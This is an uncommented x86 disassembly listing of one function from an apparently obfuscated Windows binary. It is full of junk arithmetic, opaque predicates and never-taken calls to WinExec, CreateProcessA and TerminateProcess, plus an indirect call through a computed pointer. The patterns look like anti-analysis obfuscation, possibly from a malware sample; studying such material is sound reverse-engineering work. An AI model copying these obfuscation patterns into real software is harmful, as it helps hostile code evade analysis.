test eax, eax
jne 0x4295b3
cmp dword [ebp - 0xa8], 0
jne 0x4295b3
and dword [ebp - 0x484], 0
jmp 0x4295bd
mov dword [ebp - 0x484], 1
mov esi, 0xe6d058a8
sub esi, dword [ebp - 0x484]
push 0
lea ecx, [ebp - 0x744]
call fcn.0042aeee
mov dword [eax], esi
mov dword [ebp - 0x5c], 0
jmp 0x4295e7
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jg 0x429604
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x744]
call fcn.0042aeee
cmp dword [eax], 0
je 0x429602
jmp 0x429604
jmp 0x4295e0
jmp 0x429491
push 0
lea ecx, [ebp - 0x744]
call fcn.0042aeee
cmp dword [eax], 0
je 0x429620
jmp 0x42945a
jmp 0x42945a
lea ecx, [ebp - 0x744]
call fcn.0042aed2
lea ecx, [ebp - 0x644]
call fcn.0042aed2
push 1
push 0x2d19
push dword [ebp - 0x2c]
push 0x35a1
push 0
push 1
push 0x29bc
push 0x1a99
push 1
push 0
push 0x2f22
push 0x910
push 0x4937
call fcn.0041e6da
add esp, 0x34
mov dword [ebp - 0x178], 0
jmp 0x42968c
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jge 0x4296a8
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x8e0], 0xc2e0cf57
jmp 0x42967f
mov byte [ebp - 0x6f], 0
movzx eax, byte [ebp - 0x6f]
test eax, eax
je 0x4296c3
push 0
push 0x12fe
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov byte [ebp - 0x71], 0
movzx eax, byte [ebp - 0x71]
test eax, eax
je 0x4296dc
push 0x142b
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x42a214
push 2
lea ecx, [ebp - 0x1e0]
call fcn.0042ae00
mov dword [ebp - 0xb0], 0xfffffffe
mov dword [ebp - 0x19c], 0xfffffffd
mov dword [ebp - 0x25c], 0xfffffff8
mov dword [ebp - 0x3c], 0
jmp 0x429726
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x429742
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
mov dword [eax], 0xd5e4
jmp 0x42971f
mov dword [ebp - 0x3c], 0
jmp 0x429752
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x429768
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x28c], 0xf1036c14
jmp 0x42974b
mov dword [ebp - 0xb0], 0
jmp 0x429781
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jg 0x429c16
mov dword [ebp - 0x1c], 0
push 1
lea ecx, [ebp - 0x664]
call fcn.0042ae00
mov dword [ebp - 0x48c], 0xcb5af9f7
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x784], 0xf5e4d8d9
mov dword [ebp - 0x6ac], 0xfffa
mov dword [ebp - 0x194], 0
jmp 0x4297e0
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x429802
push dword [ebp - 0x194]
lea ecx, [ebp - 0x664]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x4297d3
mov dword [ebp - 0x1c], 1
jmp 0x429812
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x4299ec
cmp dword [ebp - 0x1c], 0
jne 0x4299b1
mov eax, 0x1867b8f5
test eax, eax
je 0x4299a8
push 0
lea ecx, [ebp - 0x664]
call fcn.0042aeee
mov dword [ebp - 0x19c], 0xf7919adb
mov esi, dword [ebp - 0x19c]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
add esi, dword [eax]
mov dword [ebp - 0x48c], esi
mov esi, dword [ebp - 0x48c]
push 0
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
cmp esi, dword [eax]
jle 0x429889
mov dword [ebp - 0x494], 1
jmp 0x429890
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0
jne 0x4298a5
mov dword [ebp - 0x49c], 1
jmp 0x4298ac
and dword [ebp - 0x49c], 0
cmp dword [ebp - 0x49c], 1
jg 0x4298c1
mov dword [ebp - 0x4a4], 1
jmp 0x4298c8
and dword [ebp - 0x4a4], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x4a4]
cmp ecx, dword [eax]
jl 0x4298ec
mov dword [ebp - 0x4ac], 1
jmp 0x4298f3
and dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 0xffffffff
jle 0x429908
mov dword [ebp - 0x4b4], 1
jmp 0x42990f
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 0x8ceef9a8
ja 0x429927
mov dword [ebp - 0x4bc], 1
jmp 0x42992e
and dword [ebp - 0x4bc], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x4bc]
cmp ecx, dword [eax]
jg 0x429952
mov dword [ebp - 0x4c4], 1
jmp 0x429959
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x4c4], eax
jge 0x429973
mov dword [ebp - 0x4cc], 1
jmp 0x42997a
and dword [ebp - 0x4cc], 0
cmp dword [ebp - 0x4cc], 0x3380ee91
jge 0x429992
mov dword [ebp - 0x4d4], 1
jmp 0x429999
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x4299b1
and dword [ebp - 0x4dc], 0
jmp 0x4299bb
mov dword [ebp - 0x4dc], 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
mov esi, dword [eax]
sub esi, dword [ebp - 0x4dc]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
sub esi, dword [eax]
mov dword [ebp - 0x784], esi
jmp 0x42980b
mov dword [ebp - 0x64], 0
jmp 0x4299fc
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x429c06
mov dword [ebp - 0x208], 0x8acdd1f6
push dword [ebp - 0x64]
lea ecx, [ebp - 0x664]
call fcn.0042aeee
cmp dword [eax], 0xffff
jae 0x429b4f
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x429a64
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x429a64
mov eax, 0x7438
test eax, eax
je 0x429a64
mov dword [ebp - 0x4e4], 1
jmp 0x429a6b
and dword [ebp - 0x4e4], 0
cmp dword [ebp - 0x4e4], 0x3e7a3298
jle 0x429a83
mov dword [ebp - 0x4ec], 1
jmp 0x429a8a
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x6ac]
cmp dword [ebp - 0x19c], eax
jl 0x429ab0
mov dword [ebp - 0x4f4], 1
jmp 0x429ab7
and dword [ebp - 0x4f4], 0
push dword [ebp - 0x64]
lea ecx, [ebp - 0x664]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x4f4]
jl 0x429adb
mov dword [ebp - 0x250], 1
jmp 0x429ae2
and dword [ebp - 0x250], 0
cmp dword [ebp - 0x250], 0
jae 0x429af7
mov dword [ebp - 0x254], 1
jmp 0x429afe
and dword [ebp - 0x254], 0
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
mov eax, dword [eax]
sub eax, dword [ebp - 0x254]
je 0x429b2e
cmp dword [ebp - 0x208], 0
je 0x429b2e
mov dword [ebp - 0x264], 1
jmp 0x429b35
and dword [ebp - 0x264], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x264], eax
jg 0x429b4f
mov dword [ebp - 0x26c], 1
jmp 0x429b56
and dword [ebp - 0x26c], 0
push 0
lea ecx, [ebp - 0x664]
call fcn.0042aeee
mov ecx, dword [ebp - 0x26c]
cmp ecx, dword [eax]
jne 0x429b79
mov dword [ebp - 0x274], 1
jmp 0x429b80
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x2a53ebf
je 0x429ba8
push 4
pop eax
test eax, eax
jne 0x429ba8
and dword [ebp - 0x27c], 0
jmp 0x429bb2
mov dword [ebp - 0x27c], 1
push 0
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x27c]
sub ecx, dword [eax]
je 0x429be7
push 0
lea ecx, [ebp - 0x1e0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x429be7
mov dword [ebp - 0x284], 1
jmp 0x429bee
and dword [ebp - 0x284], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x284]
mov dword [ebp + eax - 0x28c], ecx
jmp 0x4299f5
lea ecx, [ebp - 0x664]
call fcn.0042aed2
jmp 0x429774
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x28c], 1
lea ecx, [ebp - 0x1e0]
call fcn.0042aed2
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1a4]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x324], ecx
push 2
lea ecx, [ebp - 0x188]
call fcn.0042ae00
mov dword [ebp - 0x2b4], 5
mov dword [ebp - 0x2bc], 0xba8b35ed
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x6b0], 8
mov dword [ebp - 0x210], 1
mov dword [ebp - 0x1ac], 0
jmp 0x429c9b
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 2
jge 0x429cbd
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov dword [eax], 7
jmp 0x429c8e
push 0
lea ecx, [ebp - 0x188]
call fcn.0042aeee
cmp dword [eax], 1
jl 0x429cdb
mov dword [ebp - 0x294], 1
jmp 0x429ce2
and dword [ebp - 0x294], 0
push 0
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov esi, eax
push 1
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov ecx, dword [esi]
add ecx, dword [eax]
cmp dword [ebp - 0x294], ecx
jge 0x429d1c
cmp dword [ebp - 0x2b4], 0
jne 0x429d1c
and dword [ebp - 0x29c], 0
jmp 0x429d26
mov dword [ebp - 0x29c], 1
cmp dword [ebp - 0x29c], 0xffffffff
je 0x429d3b
mov dword [ebp - 0x2a4], 1
jmp 0x429d42
and dword [ebp - 0x2a4], 0
cmp dword [ebp - 0x2a4], 0
jb 0x429d57
mov dword [ebp - 0x2ac], 1
jmp 0x429d5e
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x2bc], eax
jne 0x429d84
mov dword [ebp - 0x2c4], 1
jmp 0x429d8b
and dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x18], 1
jmp 0x429db0
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x429fcc
push 3
lea ecx, [ebp - 0x7d4]
call fcn.0042ae00
mov dword [ebp - 0x1b4], 0
jmp 0x429de0
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 3
jge 0x429e02
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x7d4]
call fcn.0042aeee
mov dword [eax], 0x2c40a98c
jmp 0x429dd3
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov esi, eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, 0x725fc1c
jl 0x429e38
mov dword [ebp - 0x2cc], 1
jmp 0x429e3f
and dword [ebp - 0x2cc], 0
cmp dword [ebp - 0x2cc], 0xfff8
jae 0x429e57
mov dword [ebp - 0x2d4], 1
jmp 0x429e5e
and dword [ebp - 0x2d4], 0
push 0xfffffffffffffffa
pop eax
sub eax, dword [ebp - 0x2d4]
add eax, 0xfcf4
cmp eax, 8
ja 0x429e7d
mov dword [ebp - 0x2dc], 1
jmp 0x429e84
and dword [ebp - 0x2dc], 0
push 0
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2dc]
cmp ecx, dword [eax]
jle 0x429ea7
mov dword [ebp - 0x6b8], 1
jmp 0x429eae
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x978], eax
push 1
lea ecx, [ebp - 0x7d4]
call fcn.0042aeee
mov dword [ebp - 0x2e4], eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2e4]
mov eax, dword [eax]
mov dword [ecx], eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2e4]
mov ecx, dword [ecx]
cmp ecx, dword [eax]
jne 0x429f0b
mov dword [ebp - 0x2ec], 1
jmp 0x429f12
and dword [ebp - 0x2ec], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [eax]
jne 0x429f36
mov dword [ebp - 0x6c0], 1
jmp 0x429f3d
and dword [ebp - 0x6c0], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
mov esi, eax
push 1
lea ecx, [ebp - 0x7d4]
call fcn.0042aeee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x429f7a
mov dword [ebp - 0x2f4], 1
jmp 0x429f81
and dword [ebp - 0x2f4], 0
imul esi, dword [ebp - 0x2f4], 0xfff8
push dword [ebp - 0x18]
lea ecx, [ebp - 0x188]
call fcn.0042aeee
cmp esi, dword [eax]
je 0x429fa9
mov dword [ebp - 0x2fc], 1
jmp 0x429fb0
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x210], eax
lea ecx, [ebp - 0x7d4]
call fcn.0042aed2
jmp 0x429da9
lea ecx, [ebp - 0x188]
call fcn.0042aed2
cmp dword [ebp - 0x324], 0
jne 0x429fe7
xor eax, eax
jmp 0x42a54e
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x6c8], 0x77dcda72
mov dword [ebp - 0x60], 0x11
jmp 0x42a008
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xffffffe9
jne 0x42a0e5
mov dword [ebp - 0x218], 0xc4530722
mov byte [ebp - 0x73], 0
movzx eax, byte [ebp - 0x73]
test eax, eax
je 0x42a035
push 0x115e
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x218], eax
jge 0x42a04f
mov dword [ebp - 0x30c], 1
jmp 0x42a056
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x9e8], eax
mov eax, 0xb89bdd77
neg eax
imul eax, eax, 0xffffffff
add eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x60]
cmp eax, 9
je 0x42a08c
mov dword [ebp - 0x304], 1
jmp 0x42a093
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x304]
sub eax, dword [ebp - 0x60]
test eax, eax
jle 0x42a0ac
mov dword [ebp - 0x314], 1
jmp 0x42a0b3
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x30c]
cmp eax, dword [ebp - 0x314]
jl 0x42a0cd
mov dword [ebp - 0x31c], 1
jmp 0x42a0d4
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x6c8], eax
jmp 0x42a001
mov byte [ebp - 0xb6], 0
movzx eax, byte [ebp - 0xb6]
test eax, eax
je 0x42a114
push 0
push 0
push 0
push 0
push 0x402
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x324]
mov dword [ebp - 0x6d0], eax
and dword [ebp - 0x890], 0
and dword [ebp - 0x88c], 0
and dword [ebp - 0x888], 0
and dword [ebp - 0x884], 0
lea ecx, [ebp - 0x21d]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x880]
push eax
lea eax, [ebp - 0x890]
push eax
lea ecx, [ebp - 0xaa8]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa54]
call fcn.0042aeac
mov dword [ebp - 0x1bc], 0x5c8094a1
mov dword [ebp - 0x1bc], 0
jmp 0x42a19d
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 3
jg 0x42a1ef
mov dword [ebp - 0x1c4], 0xafd94fe5
mov dword [ebp - 0x1c4], 3
jmp 0x42a1c9
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jl 0x42a1ed
mov byte [ebp - 0x68], 0
movzx eax, byte [ebp - 0x68]
test eax, eax
je 0x42a1eb
push 0x11c4
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x42a1bc
jmp 0x42a190
lea ecx, [ebp - 0xa54]
call fcn.0042aed2
cmp dword [ebp - 0x6d0], 0
jne 0x42a20a
xor eax, eax
jmp 0x42a54e
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x10], 1
and dword [ebp - 0x854], 0
and dword [ebp - 0x850], 0
and dword [ebp - 0x84c], 0
and dword [ebp - 0x848], 0
lea ecx, [ebp - 0x201]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x854]
push eax
lea ecx, [ebp - 0xaa0]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x7ec]
call fcn.0042aeac
mov dword [ebp - 0x818], 0xfffffffb
mov dword [ebp - 0x814], 0xfffffffb
mov dword [ebp - 0x810], 0xfffffffb
mov dword [ebp - 0x80c], 0xfffffffb
lea ecx, [ebp - 0x239]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0xa88]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa60]
call fcn.0042aeac
push 0
lea ecx, [ebp - 0x7ec]
call fcn.0042aeee
mov dword [eax], 9
jmp 0x42a2fb
push 0
lea ecx, [ebp - 0x7ec]
call fcn.0042aeee
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x32c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x7ec]
call fcn.0042aeee
cmp dword [eax], 0xfffffff8
jge 0x42a517
mov dword [ebp - 0x1cc], 0xffffffff
mov dword [ebp - 0x8d8], 0x4ccb63e
mov dword [ebp - 0x988], 0xfffffff7
mov dword [ebp - 0x8f8], 2
mov dword [ebp - 0xa20], 0xfffffffd
mov dword [ebp - 0x900], 0xd0b5486b
mov dword [ebp - 0x998], 0
mov dword [ebp - 0x908], 0x7fffaa23
mov dword [ebp - 0x9f0], 0xf32b7b88
mov dword [ebp - 0x910], 0x35a12a2e
mov dword [ebp - 0x9a8], 0xffffffff
mov dword [ebp - 0x918], 0
mov dword [ebp - 0x9bc], 0xa82a6f94
mov dword [ebp - 0x920], 0xfffffff6
mov dword [ebp - 0x9b8], 0xd1456b86
mov dword [ebp - 0x928], 0x82a74db5
push 2
lea ecx, [ebp - 0x9b4]
call fcn.0042ae00
mov dword [ebp - 0x44], 0
jmp 0x42a3ce
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x42a3e4
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xac0], 0x348f4a8
jmp 0x42a3c7
mov dword [ebp - 0x44], 0
jmp 0x42a3f4
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x42a410
push dword [ebp - 0x44]
lea ecx, [ebp - 0x9b4]
call fcn.0042aeee
mov dword [eax], 0x61b8ce22
jmp 0x42a3ed
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x42a42c
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
mov dword [ebp - 0x1cc], 3
jmp 0x42a445
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jl 0x42a507
mov dword [ebp - 0x9c0], 0x94f934f5
mov dword [ebp - 0xa00], 0x8f90
mov dword [ebp - 0x9fc], 0x8f90
mov dword [ebp - 0x9f8], 0x8f90
mov dword [ebp - 0x9f4], 0x8f90
mov dword [ebp - 0x930], 0
mov dword [ebp - 0x9c8], 0xffffffff
mov dword [ebp - 0x938], 0xfffffff6
mov dword [ebp - 0x9c4], 0x494abc24
mov dword [ebp - 0x940], 0x7f05f432
mov dword [ebp - 0x334], 0xe74bb9ce
mov dword [ebp - 0x1d4], 0
jmp 0x42a4d9
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 3
jge 0x42a4f5
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0xacc], 0xa48a2b8e
jmp 0x42a4cc
mov eax, dword [ebp - 0x334]
dec eax
mov dword [ebp - 0x334], eax
jmp 0x42a438
lea ecx, [ebp - 0x9b4]
call fcn.0042aed2
jmp 0x42a2d7
lea ecx, [ebp - 0xa60]
call fcn.0042aed2
lea ecx, [ebp - 0x7ec]
call fcn.0042aed2
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0
je 0x42a541
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x33c], eax
jmp 0x42a548
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x33c]
pop esi
mov esp, ebp
pop ebp
ret